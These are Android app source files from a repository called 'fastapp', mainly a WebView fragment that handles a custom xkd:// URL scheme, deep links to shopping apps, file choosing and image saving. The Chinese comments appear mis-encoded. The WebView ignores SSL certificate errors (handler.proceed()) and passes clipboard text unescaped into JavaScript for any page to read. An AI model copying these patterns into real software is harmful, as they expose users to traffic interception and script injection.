fileChooserParams) {\n fileCallback = filePathCallback;\n openFileChooser(null != fileChooserParams ? fileChooserParams.getAcceptTypes() : null);\n return true;\n }\n }\n\n /**\n * ่ฎพ็ฝฎๅ…จๅฑ\n */\n private void setFullScreen() {\n // ่ฎพ็ฝฎๅ…จๅฑ็š„็›ธๅ…ณๅฑžๆ€ง๏ผŒ่Žทๅ–ๅฝ“ๅ‰็š„ๅฑๅน•็Šถๆ€๏ผŒ็„ถๅŽ่ฎพ็ฝฎๅ…จๅฑ\n try {\n getActivity().getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,\n WindowManager.LayoutParams.FLAG_FULLSCREEN);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n /**\n * ้€€ๅ‡บๅ…จๅฑ\n */\n private void quitFullScreen() {\n // ๅฃฐๆ˜Žๅฝ“ๅ‰ๅฑๅน•็Šถๆ€็š„ๅ‚ๆ•ฐๅนถ่Žทๅ–\n try {\n final WindowManager.LayoutParams attrs = getActivity().getWindow().getAttributes();\n attrs.flags &= (~WindowManager.LayoutParams.FLAG_FULLSCREEN);\n getActivity().getWindow().setAttributes(attrs);\n getActivity().getWindow().clearFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n private ValueCallback<Uri[]> fileCallback;\n private static final int FILE_CHOOSER_RESULT_CODE = 11;\n\n\n /**\n * webview้€‰ๆ‹ฉไธŠไผ ๅ›พ็‰‡ๆˆ–่ง†้ข‘\n *\n * @param types\n */\n private void openFileChooser(String[] types) {\n LogUtil.d(TAG, \"onShowFileChooser ่ฏทๆฑ‚type=\" + Arrays.toString(types));\n String type = \"\";\n if (null != types && types.length > 0) {\n type = types[0];\n }\n if (TextUtils.isEmpty(type)) {\n type = \"image/*;video/*\";\n }\n\n if (type.contains(\"jpg\") || type.contains(\"png\")) {\n type = \"image/*\";\n } else if (type.contains(\"mp4\")) {\n type = \"video/*\";\n }\n LogUtil.d(TAG, \"onShowFileChooser ๆ‰ง่กŒtype=\" + type);\n\n try {\n Intent i = new Intent(Intent.ACTION_GET_CONTENT);\n i.addCategory(Intent.CATEGORY_OPENABLE);\n i.putExtra(Intent.EXTRA_LOCAL_ONLY, true);\n i.setType(type);\n startActivityForResult(Intent.createChooser(i, \"้€‰ๆ‹ฉๅ›พ็‰‡/่ง†้ข‘\"), FILE_CHOOSER_RESULT_CODE);\n } catch (Exception e) {\n e.printStackTrace();\n ToastUtil.show(\"ๆ— ๆณ•้€‰ๆ‹ฉๆ–‡ไปถ\");\n fileCallback.onReceiveValue(null);\n fileCallback = null;\n }\n }\n\n /**\n * ้•ฟๆŒ‰ไฟๅญ˜ๅ›พ็‰‡\n */\n private void handleLongClick() {\n View.OnLongClickListener onLongClickListener = new View.OnLongClickListener() {\n @Override\n public boolean onLongClick(View v) {\n final WebView.HitTestResult hitTestResult = webView.getHitTestResult();\n if (null == hitTestResult) return false;\n int type = hitTestResult.getType();\n LogUtil.d(TAG, \"onLongClick type=\" + type);\n // ๅฆ‚ๆžœๆ˜ฏๅ›พ็‰‡็ฑปๅž‹ๆˆ–่€…ๆ˜ฏๅธฆๆœ‰ๅ›พ็‰‡้“พๆŽฅ็š„็ฑปๅž‹\n if (type == WebView.HitTestResult.IMAGE_TYPE ||\n type == WebView.HitTestResult.SRC_IMAGE_ANCHOR_TYPE) {\n AlertDialogView dialogView = new AlertDialogView(webView.getContext())\n .setContent(\"ไฟๅญ˜ๅˆฐ็›ธๅ†Œ\")//\n .setRightBtn(\"็กฎๅฎš\", new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n String pic = hitTestResult.getExtra();//่Žทๅ–ๅ›พ็‰‡\n LogUtil.d(TAG, \"onLongClick ๅ›พ็‰‡url=\" + pic);\n if (TextUtils.isEmpty(pic)) {\n return;\n }\n new FileDownloader(mContext)\n .downloadFile(pic, new FileDownloader.DownloadCallback() {\n @Override\n public void success(File file, String url) {\n ToastUtil.show(\"ไฟๅญ˜ๆˆๅŠŸ\");\n }\n\n @Override\n public void fail(String url) {\n ToastUtil.show(\"ไฟๅญ˜ๅคฑ่ดฅ\");\n }\n });\n }\n })\n .setLeftBtn(\"ๅ–ๆถˆ\", new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n\n }\n });\n new EffectDialogBuilder(webView.getContext())\n .setCancelable(false)\n .setCancelableOnTouchOutside(false)\n .setContentView(dialogView).show();\n\n return true;\n }\n return false; //ไฟๆŒ้•ฟๆŒ‰ๅคๅˆถๆ–‡ๅญ—\n }\n };\n webView.setOnLongClickListener(onLongClickListener);\n }\n\n @Override\n public void onActivityResult(int requestCode, int resultCode, Intent data) {\n super.onActivityResult(requestCode, resultCode, data);\n //ไธŠไผ ๅ›พ็‰‡ๆˆ–่ง†้ข‘\n if (requestCode == FILE_CHOOSER_RESULT_CODE) {\n if (null == fileCallback) return;\n try {\n Uri[] results = null;\n if (resultCode == Activity.RESULT_OK && data != null) {\n String dataString = data.getDataString();\n ClipData clipData = data.getClipData();\n LogUtil.d(TAG, \"onShowFileChooser,dataString=\" + dataString + \",clipData=\" + clipData);\n if (!TextUtils.isEmpty(dataString)) {\n results = new Uri[]{Uri.parse(dataString)};\n } else if (clipData != null && clipData.getItemCount() > 0) {\n results = new Uri[clipData.getItemCount()];\n for (int i = 0; i < clipData.getItemCount(); i++) {\n ClipData.Item item = clipData.getItemAt(i);\n results[i] = item.getUri();\n }\n }\n }\n\n\n LogUtil.d(TAG, \"onShowFileChooser,results=\" + results);\n fileCallback.onReceiveValue(results);\n fileCallback = null;\n } catch (Exception e) {\n e.printStackTrace();\n ToastUtil.show(\"้€‰ๆ‹ฉๆ–‡ไปถๅคฑ่ดฅ\");\n fileCallback.onReceiveValue(null);\n fileCallback = null;\n }\n }\n }\n\n\n /**\n * ไธป่ฆๅธฎๅŠฉWebViewๅค„็†ๅ„็ง้€š็Ÿฅใ€่ฏทๆฑ‚ไบ‹ไปถ็š„\n */\n private final int LOAD_START = 1;\n private final int LOAD_ERROR = 2;\n private final int LOAD_FINISHED = 3;\n private int loadStatus = LOAD_FINISHED;\n\n private class DWebViewClient extends WebViewClient {\n\n @Override\n public void onLoadResource(WebView view, String url) {\n progressBar.setProgress(view.getProgress());\n super.onLoadResource(view, url);\n }\n\n @Override\n public void onPageStarted(WebView view, String url, Bitmap favicon) {\n loadStatus = LOAD_START;\n progressBar.setProgress(1);\n progressBar.setVisibility(View.VISIBLE);\n super.onPageStarted(view, url, favicon);\n }\n\n @Override\n public void onPageFinished(WebView view, String url) {\n progressBar.setProgress(100);\n progressBar.setVisibility(View.GONE);\n if (loadStatus != LOAD_ERROR) {\n loadingBar.setLoadingStatus(LoadingBar.LoadingStatus.SUCCESS);\n }\n loadStatus = LOAD_FINISHED;\n super.onPageFinished(view, url);\n }\n\n @Override\n public void onReceivedError(WebView view, int errorCode,\n String description, String failingUrl) {\n super.onReceivedError(view, errorCode, description, failingUrl);\n loadStatus = LOAD_ERROR;\n //ๆ˜พ็คบไธŠๅฑ‚็š„้”™่ฏฏ้กต้ข\n if (!NetworkUtils.isAvailable()) {\n loadingBar.setLoadingStatus(LoadingBar.LoadingStatus.NOCONNECTION, R.drawable.icon_fail);\n } else {\n loadingBar.setLoadingStatus(LoadingBar.LoadingStatus.RELOAD, R.drawable.icon_fail);\n }\n }\n\n @Override\n public void onReceivedSslError(WebView view, SslErrorHandler handler,\n SslError error) {\n handler.proceed();\n }\n\n @Override\n public boolean shouldOverrideUrlLoading(WebView view, String url) {\n return handleUrl(url);\n }\n }\n\n /**\n * ไธ‹่ฝฝ\n *\n * @author zhangquan\n */\n private class DWebViewDownLoadListener implements DownloadListener {\n\n @Override\n public void onDownloadStart(String url, String userAgent,\n String contentDisposition, String mimetype, long contentLength) {\n try {\n Uri uri = Uri.parse(url);\n Intent intent = new Intent(Intent.ACTION_VIEW, uri);\n startActivity(intent);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n }\n\n @Override\n public void close() {\n finish();\n }\n\n @Override\n public boolean onBackPressedSupport() {\n return handleBackEvent();\n }\n\n @Override\n public void onDestroy() {\n super.onDestroy();\n releaseWebView();\n }\n\n private void releaseWebView() {\n try {\n if (null != webView) {\n webView.setVisibility(View.GONE);\n webView.removeAllViews();\n webView.destroy();\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n //------------------------------url handle\n @Subscribe(threadMode = ThreadMode.MAIN)\n public void onEvent(EventMsg eventMsg) {\n if (TextUtils.equals(eventMsg.getAction(), Constant.Event.LOGIN_SUCCESS)) {\n loginCallback();\n }\n }\n\n private static final String URL_SHARE = \"xkd://app/share?param=\"; //ๅˆ†ไบซ\n private static final String URL_GETTOKEN = \"xkd://user/getToken\";//่Žทๅ–token\n private static final String URL_USERINFO = \"xkd://user/info\";//่Žทๅ–็”จๆˆทไฟกๆฏ\n private static final String URL_LOGIN = \"xkd://user/login\"; //็™ปๅฝ•\n private static final String URL_OPENPAGE = \"xkd://app/appPage?param=\";//ๆ‰“ๅผ€ๅŽŸ็”Ÿ้กต้ข\n private static final String URL_CLOSEPAGE = \"xkd://app/closepage\";//ๅ…ณ้—ญ้กต้ข\n private static final String URL_OPENURL = \"xkd://app/openURL\";//้€š่ฟ‡ๆต่งˆๅ™จๆ‰“ๅผ€\n private static final String URL_CLIPBOARD = \"xkd://app/clipboard\"; //ๅคๅˆถๅˆฐๅ‰ช่ดดๆฟ\n private static final String URL_CLIPBOARD_READ = \"xkd://app/readclipboard\"; //่ฏปๅ–ๅ‰ช่ดดๆฟ\n private static final String URL_NOTIFICATION_ENABLED = \"xkd://app/notification/status\";//่Žทๅ–้€š็Ÿฅ็Šถๆ€ 1ๅผ€ๅฏ 0ๅ…ณ้—ญ\n private static final String URL_NOTIFICATION_OPEN = \"xkd://app/notification/setting\";//ๆ‰“ๅผ€้€š็Ÿฅ่ฎพ็ฝฎ็•Œ้ข\n private static final String URL_SAVE_PIC = \"xkd://app/storage/imgs\"; //ไฟๅญ˜ๅ›พ็‰‡\n private static final String URL_STATUSBAR = \"xkd://app/statusbar\"; //ไฟฎๆ”น็Šถๆ€ๆ \n private static final String URL_H5_ADJUMP = \"xkd://app/nativeAdJump\";//h5ๅนฟๅ‘Š่ทณ่ฝฌ\n private static final String URL_SAVE_PHOTOS = \"xkd://savedPhotosAlbum\";\n\n\n private static final String URL_WEIXIN = \"weixin://\"; //ๆ‰“ๅผ€ๅพฎไฟก\n private static final String URL_OPEN_ALIPAY = \"alipays://\"; //ๆ‰“ๅผ€ๆ”ฏไป˜ๅฎ\n private static final String URL_VPAGE = \"vipshop://\";//ๅ”ฏๅ“ไผš\n private static final String URL_TPOPEN = \"tbopen://\";//ๆท˜ๅฎt\n private static final String URL_TAOBAO = \"taobao://\";//ๆท˜ๅฎ\n private static final String URL_PDD = \"pinduoduo://\";//ๆ‹ผๅคšๅคš\n private static final String URL_BDISK = \"bdnetdisk://\";//็™พๅบฆ็ฝ‘็›˜\n private static final String URL_TIANMAO = \"tmall://\";//ๅคฉ็Œซ\n private static final String URL_MEITUAN = \"imeituan://\";//็พŽๅ›ข\n private static final String URL_QQ = \"wtloginmqq://\";//QQ\n private static final String URL_SUNING = \"suning://\";//่‹ๅฎ\n\n\n private boolean handleUrl(String path) {\n LogUtil.d(TAG, \"shouldOverrideUrlLoading ,url=\" + path);\n\n //ๆ‹ผๅคšๅคš\n if (path.startsWith(URL_PDD)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๆ‹ผๅคšๅคšAPP \");\n return true;\n }\n\n //ๅ”ฏๅ“ไผš\n if (path.startsWith(URL_VPAGE)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๅ”ฏๅ“ไผšAPP\");\n return true;\n }\n\n //ๆ‰“ๅผ€ๆท˜ๅฎ\n if (path.startsWith(URL_TPOPEN)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๆท˜ๅฎAPP\");\n return true;\n }\n\n if (path.startsWith(URL_TAOBAO)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๆท˜ๅฎAPP\");\n return true;\n }\n\n //ๆ‰“ๅผ€่‹ๅฎ\n if (path.startsWith(URL_SUNING)) {\n openUrl(path, \"\");\n return true;\n }\n\n\n //ๆ‹จๆ‰“็”ต่ฏ\n if (path.startsWith(\"tel\")) {\n try {\n startActivity(new Intent(Intent.ACTION_DIAL, Uri.parse(path)));\n } catch (Exception e) {\n e.printStackTrace();\n }\n return true;\n }\n\n\n //ๆ‰“ๅผ€ๆ”ฏไป˜ๅฎ\n if (path.startsWith(URL_OPEN_ALIPAY)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๆ”ฏไป˜ๅฎApp\");\n return true;\n }\n\n\n //่ทณ่ฝฌๅˆฐๅพฎไฟก\n if (path.startsWith(URL_WEIXIN)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…ๅพฎไฟกApp\");\n return true;\n }\n\n //็™พๅบฆ็ฝ‘็›˜\n if (path.startsWith(URL_BDISK)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…็™พๅบฆ็ฝ‘็›˜APP\");\n return true;\n }\n\n if (path.startsWith(URL_MEITUAN)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ๏ผŒๆฃ€ๆŸฅๆ˜ฏๅฆๅฎ‰่ฃ…็พŽๅ›ขAPP (้ž็พŽๅ›ขๅค–ๅ–APP) \");\n return true;\n }\n if (path.startsWith(URL_QQ)) {\n openUrl(path, \"ๆ‰“ๅผ€ๅคฑ่ดฅ\");\n return true;\n }\n if (path.startsWith(URL_SUNING)) {\n openUrl(path, \"\");\n return true;\n }\n\n //่‡ชๅฎšไน‰ๅ่ฎฎ\n if (!path.startsWith(LContext.getString(R.string.app_schema))) {\n return false;\n }\n try {\n String param = Uri.parse(path).getQueryParameter(\"param\");\n if (path.startsWith(URL_SHARE)) {\n share(param);\n } else if (path.startsWith(URL_GETTOKEN)) {\n loginCallback();\n } else if (path.startsWith(URL_USERINFO)) {\n userInfoCallback();\n } else if (path.startsWith(URL_LOGIN)) {\n login();\n } else if (path.startsWith(URL_OPENURL)) { //ๆ‰“ๅผ€ๆต่งˆๅ™จ\n openUrl(param, \"ๆ‰“ๅผ€ๅคฑ่ดฅ\");\n } else if (path.startsWith(URL_OPENPAGE)) { //ๆ‰“ๅผ€APP้กต้ข\n DispatchUtil.goToPage(mContext, param);\n if (!TextUtils.isEmpty(param)) {\n JSONObject jsonObject = new JSONObject(param);\n int closepage = jsonObject.optInt(\"closepage\");\n if (closepage == 1) {\n close();\n }\n }\n } else if (path.startsWith(URL_CLOSEPAGE)) { //ๅ…ณ้—ญ้กต้ข\n close();\n } else if (path.startsWith(URL_CLIPBOARD)) { //ๅคๅˆถๅˆฐๅ‰ช่ดดๆฟ\n try {\n ClipboardManager cm = (ClipboardManager) LContext.getContext().getSystemService(Context.CLIPBOARD_SERVICE);\n cm.setText(param);\n ToastUtil.show(\"ๅคๅˆถๆˆๅŠŸ\");\n } catch (Exception e) {\n e.printStackTrace();\n ToastUtil.show(\"ๅคๅˆถๅคฑ่ดฅ๏ผŒ่ฏท้•ฟๆŒ‰ๆ–‡ๅญ—ๅคๅˆถ\");\n }\n } else if (path.startsWith(URL_CLIPBOARD_READ)) { //่ฏปๅ–ๅ‰ช่ดดๆฟ\n readClipboard();\n } else if (path.startsWith(URL_NOTIFICATION_ENABLED)) { //appๆ˜ฏๅฆๅผ€ๅฏ้€š็Ÿฅๆƒ้™\n notificationCallback();\n } else if (path.startsWith(URL_NOTIFICATION_OPEN)) { //่ทณ่ฝฌๅˆฐapp้€š็Ÿฅๆƒ้™้กต้ข\n NotificationPageHelper.openNotificationSetting(mContext);\n } else if (path.startsWith(URL_SAVE_PIC)) { //ไฟๅญ˜ๅ›พ็‰‡ๅˆฐ็›ธๅ†Œ\n if (!TextUtils.isEmpty(param)) {\n LoadingDialog loadingDialog = LoadingDialog.showCancelableDialog(mContext, \"ๅ›พ็‰‡ไฟๅญ˜ไธญ\");\n new FileDownloader(mContext).downloadFile(param, new FileDownloader.DownloadCallback() {\n @Override\n public void success(File file, String url) {\n loadingDialog.dismiss();\n ToastUtil.show(\"ไฟๅญ˜ๆˆๅŠŸ\");\n }\n\n @Override\n public void fail(String url) {\n loadingDialog.dismiss();\n ToastUtil.show(\"ไฟๅญ˜ๅคฑ่ดฅ\");\n }\n });\n } else {\n ToastUtil.show(\"ๅ›พ็‰‡ๅœฐๅ€ไธบ็ฉบ\");\n }\n } else if (path.startsWith(URL_STATUSBAR)) { //ไฟฎๆ”น็Šถๆ€ๆ \n boolean lightModel = TextUtils.equals(param, \"1\");\n StatusBar.setStatusBar(mContext, lightModel, titleBarView);\n } else if (path.startsWith(URL_SAVE_PHOTOS)) {\n savePics(param);\n }\n\n } catch (Exception e) {\n e.printStackTrace();\n }\n return true;\n }\n\n /**\n * ไฟๅญ˜ๅ›พ็‰‡ๆˆ–่ง†้ข‘ๅˆฐ็›ธๅ†Œ\n *\n * @param param\n */\n private void savePics(String param) {\n JSONObject jsonObject = null;\n try {\n List<String> saveFiles = new ArrayList<>();\n\n jsonObject = new JSONObject(param);\n\n JSONArray jsonElements = jsonObject.optJSONArray(\"videos\");\n if (jsonElements != null && jsonElements.length() > 0) {\n for (int i = 0; i < jsonElements.length(); i++) {\n saveFiles.add(jsonElements.get(i).toString());\n }\n }\n jsonElements = jsonObject.optJSONArray(\"images\");\n if (jsonElements != null && jsonElements.length() > 0) {\n for (int i = 0; i < jsonElements.length(); i++) {\n saveFiles.add(jsonElements.get(i).toString());\n }\n }\n\n if (!saveFiles.isEmpty()) {\n FileDownloadDialogView dialogView = new FileDownloadDialogView(mContext, saveFiles, \"็ด ๆไธ‹่ฝฝ\");\n new EffectDialogBuilder(mContext)\n .setContentView(dialogView)\n .setCancelable(true)\n .show();\n }\n\n } catch (JSONException e) {\n e.printStackTrace();\n }\n }\n\n private void openUrl(String param, String msg) {\n try {\n Intent intent = new Intent(Intent.ACTION_VIEW);\n intent.addCategory(Intent.CATEGORY_BROWSABLE);\n intent.setData(Uri.parse(param));\n mContext.startActivity(intent);\n LogUtil.e(\"url=\" + param + \",\" + intent.resolveActivity(getActivity().getPackageManager()));\n } catch (Exception e) {\n e.printStackTrace();\n if (!TextUtils.isEmpty(msg)) {\n ToastUtil.show(msg);\n }\n }\n }\n\n /**\n * ็™ปๅฝ•\n */\n public void login() {\n// LoginFragment.Companion.start(mContext);\n }\n\n /**\n * ็™ปๅฝ•ๅ›ž่ฐƒ\n */\n private void loginCallback() {\n// String token = UserClient.getToken();\n// webView.loadUrl(\"javascript:userLoginStatus('\" + token + \"')\");\n }\n\n /**\n * ่Žทๅ–็”จๆˆทไฟกๆฏๅ›ž่ฐƒ\n */\n private void userInfoCallback() {\n// UserEntity user = UserClient.getUser();\n// String userInfo = \"\";\n// if (null != user) {\n// userInfo = new Gson().toJson(user);\n// }\n// webView.loadUrl(\"javascript:userInfoCallback('\" + userInfo + \"')\");\n }\n\n private void viewWillAppear() {\n webView.loadUrl(\"javascript:viewWillAppearEvent()\");\n }\n\n private void notificationCallback() {\n int status = NotificationPageHelper.areNotificationsEnabled(mContext) ? 1 : 0;\n webView.loadUrl(\"javascript:notificationEnabled('\" + status + \"')\");\n }\n\n /**\n * ่ฏปๅ–ๅ‰ช่ดดๆฟ\n */\n private void readClipboard() {\n ClipboardManager cm = (ClipboardManager) mContext.getSystemService(Context.CLIPBOARD_SERVICE);\n CharSequence text = \"\";\n ClipData clipData = cm.getPrimaryClip();\n if (clipData != null && clipData.getItemCount() > 0) {\n text = clipData.getItemAt(0).getText();\n }\n if (!TextUtils.isEmpty(text)) {\n String content = text.toString();\n String[] test = content.split(\"\\n\");\n StringBuffer sb = new StringBuffer();\n for (String line : test) {\n sb.append(line).append(\"\\\\n\");\n }\n webView.loadUrl(\"javascript:readClipboard('\" + sb.toString() + \"')\");\n CommonUtil.addToClipboard(null);\n }\n }\n\n /**\n * ๅˆ†ไบซ\n */\n public void share(String json) throws Exception {\n if (TextUtils.isEmpty(json)) return;\n //{\"title\":\"ๅˆ†ไบซๆ ‡้ข˜\",\"content\":\"ๅˆ†ไบซๅ†…ๅฎน\",\"url\":\"ๅˆ†ไบซ้“พๆŽฅ\",\"pic_url\":\"ๅˆ†ไบซๅ›พ็‰‡้“พๆŽฅ\"}\n\n ShareInfo shareInfo = new ShareInfo();\n JSONObject jsonObject = new JSONObject(json);\n shareInfo.title = jsonObject.optString(\"title\");\n shareInfo.content = jsonObject.optString(\"content\");\n shareInfo.url = jsonObject.optString(\"url\");\n shareInfo.pic_url = jsonObject.optString(\"pic_url\");\n\n ShareDialog.share(getActivity(), shareInfo);\n }\n}\n" }, { "alpha_fraction": 0.5748160481452942, "alphanum_fraction": 0.5748160481452942, "avg_line_length": 26.177778244018555, "blob_id": "d12308eb60fbed0cd208a0ba88e3ccafe4c93b5a", "content_id": "10c96b48392553b4a04516664c0c8f6b1e0ab42d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1247, "license_type": "no_license", "max_line_length": 91, "num_lines": 45, "path": "/app/src/main/java/com/android/base/util/DispatchUtil.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util;\n\n\nimport android.app.Activity;\nimport android.text.TextUtils;\n\nimport com.android.util.log.LogUtil;\nimport com.android.base.ui.WebViewFrag;\nimport com.fastapp.MainActivity;\n\nimport org.json.JSONObject;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class DispatchUtil {\n\n /**\n * ่ทณ่ฝฌ้กต้ข\n */\n public static void goToPage(Activity ctx, String json) throws Exception {\n LogUtil.d(\"DispatchUtil\", \"่ฏทๆฑ‚ๅ‚ๆ•ฐ json=\" + json);\n JSONObject jsonObject = new JSONObject(json);\n String page = jsonObject.optString(\"page\");\n JSONObject dataJson = jsonObject.optJSONObject(\"data\");\n\n// UserEntity user = UserClient.getUser();\n switch (page) {\n case \"HomePage\": //้ฆ–้กต\n MainActivity.start(ctx);\n break;\n case \"WebViewPage\":\n String url = dataJson.optString(\"url\");\n if (!TextUtils.isEmpty(url)) {\n WebViewFrag.WebViewParam webViewParam = new WebViewFrag.WebViewParam();\n webViewParam.url = url;\n WebViewFrag.start(ctx, webViewParam);\n }\n break;\n default:\n break;\n }\n }\n\n}\n" }, { "alpha_fraction": 0.6855496764183044, "alphanum_fraction": 0.6855496764183044, "avg_line_length": 30.074626922607422, "blob_id": "543a20503f98c2973d69d501d80167df4cdb73e2", "content_id": "f022e85ebc128604613c40aea9e14d36554524c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 2095, "license_type": "no_license", "max_line_length": 95, "num_lines": 67, "path": "/app/src/main/java/com/android/base/ui/splash/PrivacyDialog.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui.splash\n\nimport android.annotation.SuppressLint\nimport android.graphics.Color\nimport android.graphics.drawable.ColorDrawable\nimport android.os.Bundle\nimport android.view.KeyEvent\nimport android.view.LayoutInflater\nimport android.view.View\nimport android.view.ViewGroup\nimport androidx.fragment.app.DialogFragment\nimport com.android.base.util.ext.onClick\nimport com.android.util.common.CommonCallBack\nimport com.fastapp.R\nimport kotlinx.android.synthetic.main.privacy_dialog.*\nimport net.medlinker.android.splash.SplashUtil\n\n\n/**\n * ้š็งๆ”ฟ็ญ–ๅผน็ช—\n */\nclass PrivacyDialog : DialogFragment() {\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n setStyle(STYLE_NO_FRAME, R.style.update_dialog_style)\n }\n\n\n override fun onCreateView(\n inflater: LayoutInflater,\n container: ViewGroup?,\n savedInstanceState: Bundle?\n ): View? = inflater.inflate(R.layout.privacy_dialog, container)\n\n @SuppressLint(\"CheckResult\")\n override fun onViewCreated(view: View, savedInstanceState: Bundle?) {\n super.onViewCreated(view, savedInstanceState)\n val window = dialog?.window\n window?.apply {\n setLayout(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT)\n setBackgroundDrawable(ColorDrawable(Color.TRANSPARENT))\n }\n dialog?.setCancelable(false)\n dialog?.setCanceledOnTouchOutside(false)\n dialog?.setOnKeyListener { _, keyCode, _ ->\n if (keyCode == KeyEvent.KEYCODE_BACK) {\n return@setOnKeyListener true\n }\n return@setOnKeyListener false\n }\n\n tv_cancel.onClick {\n mCallBack?.onCallBack(false)\n dismiss()\n }\n tv_know.onClick {\n SplashUtil.setPrivacyGranted(true)\n mCallBack?.onCallBack(true)\n dismiss()\n }\n }\n\n private var mCallBack: CommonCallBack<Boolean>? = null\n fun callback(callBack: CommonCallBack<Boolean>) {\n mCallBack = callBack\n }\n}\n\n" }, { "alpha_fraction": 0.5235849022865295, "alphanum_fraction": 0.5235849022865295, "avg_line_length": 18.272727966308594, "blob_id": "336a96a217e949fe1e41cf4cb9a2da59b47f3cbc", "content_id": "7bd6b7b4acdf83ed1f9ec8af23bec0658ec28ade", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 430, "license_type": "no_license", "max_line_length": 57, "num_lines": 22, "path": "/app/src/main/java/com/android/base/data/ResponseDataObject.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.data;\n\nimport androidx.annotation.Keep;\n\n/**\n * dataไธบJsonObject\n *\n * @author ๅผ ๅ…จ\n */\n@Keep\npublic class ResponseDataObject<T> extends ResponseData {\n public T data;\n\n @Override\n public String toString() {\n return \"ResponseDataObject{\" +\n \"data=\" + data +\n \", code=\" + code +\n \", message='\" + message + '\\'' +\n '}';\n }\n}\n" }, { "alpha_fraction": 0.678787887096405, "alphanum_fraction": 0.678787887096405, "avg_line_length": 11.692307472229004, "blob_id": "f74d8c44e044f41fa8f0a7f3ba5c12d141ed3166", "content_id": "451a304285a9b45ef6b02ba9712b1f737fa71441", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 169, "license_type": "no_license", "max_line_length": 32, "num_lines": 13, "path": "/app/src/main/java/com/android/base/data/ListData.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.data;\n\nimport androidx.annotation.Keep;\n\nimport java.util.List;\n\n/**\n * @author ๅผ ๅ…จ\n */\n@Keep\npublic class ListData<T> {\n List<T> list;\n}\n" }, { "alpha_fraction": 0.6570892930030823, "alphanum_fraction": 0.6570892930030823, "avg_line_length": 19.278480529785156, "blob_id": "cfce2d9a014cb4dd1d1cc20e94051aa592671a42", "content_id": "8f86b32d108da15c5d470a3b9d906b26e254e69a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 108, "num_lines": 79, "path": "/librarys/CommonWidget/src/main/java/common/widget/adapter/RefreshFragmentAdapter.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.adapter;\n\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentManager;\nimport androidx.fragment.app.FragmentPagerAdapter;\nimport androidx.fragment.app.FragmentTransaction;\n\nimport java.util.List;\n\n/**\n * ๆ”ฏๆŒๅˆทๆ–ฐ็š„FragmentPagerAdapter\n */\npublic class RefreshFragmentAdapter extends FragmentPagerAdapter {\n\n private List<String> mTitleList;\n\n private List<Fragment> mFragmentList;\n\n private FragmentManager fm;\n\n public RefreshFragmentAdapter(FragmentManager fm, List<String> titleList, List<Fragment> fragmentList) {\n\n super(fm);\n\n this.fm = fm;\n this.mTitleList = titleList;\n this.mFragmentList = fragmentList;\n\n }\n\n @Override\n\n public Fragment getItem(int position) {\n return mFragmentList.get(position);\n\n }\n\n @Override\n\n public int getCount() {\n return mFragmentList.size();\n\n }\n\n public void setFragments(List<String> titleList, List<Fragment> fragments) {\n\n if (this.mFragmentList != null) {\n\n FragmentTransaction ft = fm.beginTransaction();\n\n for (Fragment f : this.mFragmentList) {\n ft.remove(f);\n }\n\n ft.commit();\n fm.executePendingTransactions();\n }\n\n this.mTitleList = titleList;\n this.mFragmentList = fragments;\n\n notifyDataSetChanged();\n\n }\n\n @Override\n\n public int getItemPosition(Object object) {\n\n return POSITION_NONE;\n\n }\n\n @Override\n public CharSequence getPageTitle(int position) {\n return mTitleList.get(position);\n }\n\n}" }, { "alpha_fraction": 0.4943999946117401, "alphanum_fraction": 0.498879998922348, "avg_line_length": 32.42245864868164, "blob_id": "e461282b1b1b8483f09e064898d41f0f27a82d5a", "content_id": "41c6ec6dc68847a43e41914731b201c035bcdbd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 6310, "license_type": "no_license", "max_line_length": 84, "num_lines": 187, "path": "/app/src/main/java/com/android/base/version/UpdateDialogView.java", "repo_name": 